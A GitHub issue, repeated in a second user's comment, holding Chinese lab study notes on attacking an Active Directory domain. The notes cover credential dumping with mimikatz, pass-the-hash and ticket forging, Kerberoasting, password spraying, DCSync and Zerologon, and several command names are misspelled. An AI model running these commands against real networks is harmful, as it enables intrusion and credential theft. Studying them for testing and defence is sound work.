cha0s32 / cha0s32.github.io

0 stars 0 forks source link

简单域渗透操作 #13

Open cha0s32 opened 7 months ago

cha0s32 commented 7 months ago

信息收集

net user /domain
net group /domain
net group "Domain Admins" /domain
# 这种方法没办法收集到组的嵌套关系

# 可以使用PowerView
Import-Module .\PowerView.ps1
Get-Netdomain
Get-NetUser | select cn 

# 思路是找高权限用户,找哪一台主机有该用户的登录会话,用普通用户去连那台主机,找内存的hash
Get-NetGroup | select cn
Get-NetGroup "Domain Admins" | select member
Get-NetComputer | select cn,operationsystem,dnshostname

# 寻找普通用户在哪台机器上有本地管理员权限
Find-LocalAdminAccess
Get-NetSession #域当中所有主机当前的会话
Get-NetSession -ComputerName User1 # 查看User1中存在的会话

# 查看账户绑定的spn
Get-NetUser -SPN | select cn,serviceprincipalname
# 可以针对SPN服务账号的名称进行密码爆破

#看看解析成什么IP
nslookup

# 找域当中所有主机上的文件共享
Find-DomainShare
# 有一个文件共享必定存在 \\域名
\\oscp.com # 找一个SYSVOL,域当中的策略都在里面

# 各种信息收集可以用SharpHound

远程登录

WMIC

# 在远程主机user1执行命令
wmic /node:user1 process call create "cmd" # 现在登录的账号对远程主机有管理员权限,登录域的时候做一次身份认证后,执行命令不需要继续认证了
wmic /node:10.0.2.94 /user:oscp\alice /password:Password2 process call create "cmd"

# kali传输文件新方式
mkdir p
impacket-smbserver -smb2support p

# 然后在windows上访问\\kali-ip, 然后把要共享的文件拖进去
# 反弹shell可以用谷安提供的encode.py生成payload

WINRM

端口:5985、5986

平时如果用wmic远程连接可以成功,就不需要用到winrm,如果wmic不能用,可以看看5985、5986端口有没有开

windows默认winrm没启动

# 管理员权限
Enable-PSRemoting -force
netstat -ano # 看看端口起了没

winrs -r:user1 "cmd /c hostname & whoami"
# 非域环境
winrs -r:user1 -u:oscp\alice -p:Password "cmd /c ipconfig"

# 使用powershell调用winrm
New-PSSession -ComputerName user1
Enter-PSSession 1

PsExec

.\PsExec64.exe -i \\user1 cmd

横向渗透

PTH

机器上存在高权限的本地账号会话的话,密码的hash会缓存在机器的lssas内存中

mimikatz.exe 
privilege::debug
sekurlsa:logonpassword
# kali

impacket-wmiexec -hashes :hash administrator@10.0.2.92

Over PTH

在本机上,利用已经获得的hash,给自己申请一个域管理员账号的票据,然后可以登录域的任何一台主机

sekurlsa::pth /user:administrator /domain:oscp.com /ntlm:hash /run:powershell
# 以管理员的身份打开了powershell

# 打开工具包,已经有管理员的票据了
PsExec64.exe \\dc1 cmd

PTT

服务票据可以从一台机器导入到另一台机器中

Bob可以访问文件共享,Alice不行,但是Alice可以在Bob这台机器中有管理员权限,可以从Bob机器上导出服务票据,导入到Alice的机器中,让Alice有权限访问文件共享

#Bob

sekurlsa::tickets /export
# 会在 mimikatz 当前目录
# 拷贝票据到另一台机器

# 票据导入
kerberos::ptt 票据文件名
# 导入后就有文件共享的权限了

持久化

金票伪造

管理员把密码改了,无法通过PTH来进行登录,可以伪造一张TGT来进行持久化

TGT通过krbtgt的hash来加密,所以伪造TGT需要知道krbtgt的hash

需要的东西:

# SID

whoami /user

# krbtgt 需要有域管理员的权限
mimikatz.exe
privilege::debug
lsadump::lsa /patch

# 伪造金票
kerberos::purge # 清理票据
kerberos::golden /user:bob /domain:oscp.com /sid:domain-sid /krbtgt:hash /ptt

# 已经是管理员了
misc::cmd # 打开一个cmd

攻击AD域

Spray Password

域中密码爆破有阈值,所以反过来用密码破解用户名

powershell -ep bypass
.\Spray-Passwords.ps1 -Pass Password1

# kali下也有这种类型的工具
crackmapexec smb 10.0.2.94 -u user.txt -p Password1 -d oscp.com

AS-REP(Pre Auth)

一般用户拿到TGT之前是会经过DC的预身份认证

若DC中给某个管理员账户取消了预身份认证,该用户可以直接得到TGT,可以用所有用户向DC发一个身份认证的请求,返回的信息若有用某个账号hash加密的会话密钥,可以对密钥进行解密

要实现这种攻击:需要有一个普通的账号和密码

impacket-GetNPUsers --dc-ip 10.0.2.91 -request -outputfile hash.txt oscp.com/Bob 
# 输入密码
Password1

# hash.txt 返回的是用alice的hash加密的信息
hash --help | grep -i kerberos
hashcat -m 18200 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt
# -r 是规则文件

Kerberosting(SPN)

针对SPN的弱密码来进行攻击

impacket-GetNuserSPNs -request -dc-ip 10.0.2.91 oscp.com/bob # 知道一个域中普通账号密码就行
# 输入密码

# 获取由服务账号hash加密的密文 将它生成h.txt
hashcat -m 13100 h.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt
# 获得sqladmin的账号,是域管理理员组的成员

银票

用来做提权的

需要:SPN服务账号的密码(如获取明文,可以把它加密成 nt hash),SPN名,域的SID

mimikatz.exe
privilege::debug
kerberos::golden /sid:domain_sid /domain:oscp.com /ptt /target:www.oscp.com /service:http /rc4:spn_hash /user:bob

DC同步

一旦获得域控制器的管理员权限,可以把所有账号的hash一次性dump下来

impacket-secretdump oscp.com/administrator:"Passw0rd"@10.0.2.91

原本是DC之间用来同步的机制,但是由于没有验证来源主机,所以只要管理员账号密码提供正确,即可dump下来

Zerologon

什么信息都收集不了,但是Server 2016没有打补丁的话,有这个漏洞

工具网上搜索Github ricksense zerologon

cd zerologon
python set_empty_pw.py dc1 10.0.2.91

# 参考zerologon的github项目,可以把所有账号的hash 都dump下来
impacket-secretdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'oscp.com/dc1@10.0.2.91'
PCO1707 commented 3 months ago

信息收集

net user /domain
net group /domain
net group "Domain Admins" /domain
# 这种方法没办法收集到组的嵌套关系

# 可以使用PowerView
Import-Module .\PowerView.ps1
Get-Netdomain
Get-NetUser | select cn 

# 思路是找高权限用户,找哪一台主机有该用户的登录会话,用普通用户去连那台主机,找内存的hash
Get-NetGroup | select cn
Get-NetGroup "Domain Admins" | select member
Get-NetComputer | select cn,operationsystem,dnshostname

# 寻找普通用户在哪台机器上有本地管理员权限
Find-LocalAdminAccess
Get-NetSession #域当中所有主机当前的会话
Get-NetSession -ComputerName User1 # 查看User1中存在的会话

# 查看账户绑定的spn
Get-NetUser -SPN | select cn,serviceprincipalname
# 可以针对SPN服务账号的名称进行密码爆破

#看看解析成什么IP
nslookup

# 找域当中所有主机上的文件共享
Find-DomainShare
# 有一个文件共享必定存在 \\域名
\\oscp.com # 找一个SYSVOL,域当中的策略都在里面

# 各种信息收集可以用SharpHound

远程登录

WMIC

# 在远程主机user1执行命令
wmic /node:user1 process call create "cmd" # 现在登录的账号对远程主机有管理员权限,登录域的时候做一次身份认证后,执行命令不需要继续认证了
wmic /node:10.0.2.94 /user:oscp\alice /password:Password2 process call create "cmd"

# kali传输文件新方式
mkdir p
impacket-smbserver -smb2support p

# 然后在windows上访问\\kali-ip, 然后把要共享的文件拖进去
# 反弹shell可以用谷安提供的encode.py生成payload

WINRM

端口:5985、5986

平时如果用wmic远程连接可以成功,就不需要用到winrm,如果wmic不能用,可以看看5985、5986端口有没有开

windows默认winrm没启动

# 管理员权限
Enable-PSRemoting -force
netstat -ano # 看看端口起了没

winrs -r:user1 "cmd /c hostname & whoami"
# 非域环境
winrs -r:user1 -u:oscp\alice -p:Password "cmd /c ipconfig"

# 使用powershell调用winrm
New-PSSession -ComputerName user1
Enter-PSSession 1

PsExec

.\PsExec64.exe -i \\user1 cmd

横向渗透

PTH

机器上存在高权限的本地账号会话的话,密码的hash会缓存在机器的lssas内存中

mimikatz.exe 
privilege::debug
sekurlsa:logonpassword
# kali

impacket-wmiexec -hashes :hash administrator@10.0.2.92

Over PTH

在本机上,利用已经获得的hash,给自己申请一个域管理员账号的票据,然后可以登录域的任何一台主机

sekurlsa::pth /user:administrator /domain:oscp.com /ntlm:hash /run:powershell
# 以管理员的身份打开了powershell

# 打开工具包,已经有管理员的票据了
PsExec64.exe \\dc1 cmd

PTT

服务票据可以从一台机器导入到另一台机器中

Bob可以访问文件共享,Alice不行,但是Alice可以在Bob这台机器中有管理员权限,可以从Bob机器上导出服务票据,导入到Alice的机器中,让Alice有权限访问文件共享

#Bob

sekurlsa::tickets /export
# 会在 mimikatz 当前目录
# 拷贝票据到另一台机器

# 票据导入
kerberos::ptt 票据文件名
# 导入后就有文件共享的权限了

持久化

金票伪造

管理员把密码改了,无法通过PTH来进行登录,可以伪造一张TGT来进行持久化

TGT通过krbtgt的hash来加密,所以伪造TGT需要知道krbtgt的hash

需要的东西:

  • 域的SID
  • krbtgt的hash
  • 域当中任何一个用户的用户名
# SID

whoami /user

# krbtgt 需要有域管理员的权限
mimikatz.exe
privilege::debug
lsadump::lsa /patch

# 伪造金票
kerberos::purge # 清理票据
kerberos::golden /user:bob /domain:oscp.com /sid:domain-sid /krbtgt:hash /ptt

# 已经是管理员了
misc::cmd # 打开一个cmd

攻击AD域

Spray Password

域中密码爆破有阈值,所以反过来用密码破解用户名

powershell -ep bypass
.\Spray-Passwords.ps1 -Pass Password1

# kali下也有这种类型的工具
crackmapexec smb 10.0.2.94 -u user.txt -p Password1 -d oscp.com

AS-REP(Pre Auth)

一般用户拿到TGT之前是会经过DC的预身份认证

若DC中给某个管理员账户取消了预身份认证,该用户可以直接得到TGT,可以用所有用户向DC发一个身份认证的请求,返回的信息若有用某个账号hash加密的会话密钥,可以对密钥进行解密

要实现这种攻击:需要有一个普通的账号和密码

impacket-GetNPUsers --dc-ip 10.0.2.91 -request -outputfile hash.txt oscp.com/Bob 
# 输入密码
Password1

# hash.txt 返回的是用alice的hash加密的信息
hash --help | grep -i kerberos
hashcat -m 18200 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt
# -r 是规则文件

Kerberosting(SPN)

针对SPN的弱密码来进行攻击

impacket-GetNuserSPNs -request -dc-ip 10.0.2.91 oscp.com/bob # 知道一个域中普通账号密码就行
# 输入密码

# 获取由服务账号hash加密的密文 将它生成h.txt
hashcat -m 13100 h.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt
# 获得sqladmin的账号,是域管理理员组的成员

银票

用来做提权的

需要:SPN服务账号的密码(如获取明文,可以把它加密成 nt hash),SPN名,域的SID

mimikatz.exe
privilege::debug
kerberos::golden /sid:domain_sid /domain:oscp.com /ptt /target:www.oscp.com /service:http /rc4:spn_hash /user:bob

DC同步

一旦获得域控制器的管理员权限,可以把所有账号的hash一次性dump下来

impacket-secretdump oscp.com/administrator:"Passw0rd"@10.0.2.91

原本是DC之间用来同步的机制,但是由于没有验证来源主机,所以只要管理员账号密码提供正确,即可dump下来

Zerologon

什么信息都收集不了,但是Server 2016没有打补丁的话,有这个漏洞

工具网上搜索Github ricksense zerologon

cd zerologon
python set_empty_pw.py dc1 10.0.2.91

# 参考zerologon的github项目,可以把所有账号的hash 都dump下来
impacket-secretdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'oscp.com/dc1@10.0.2.91'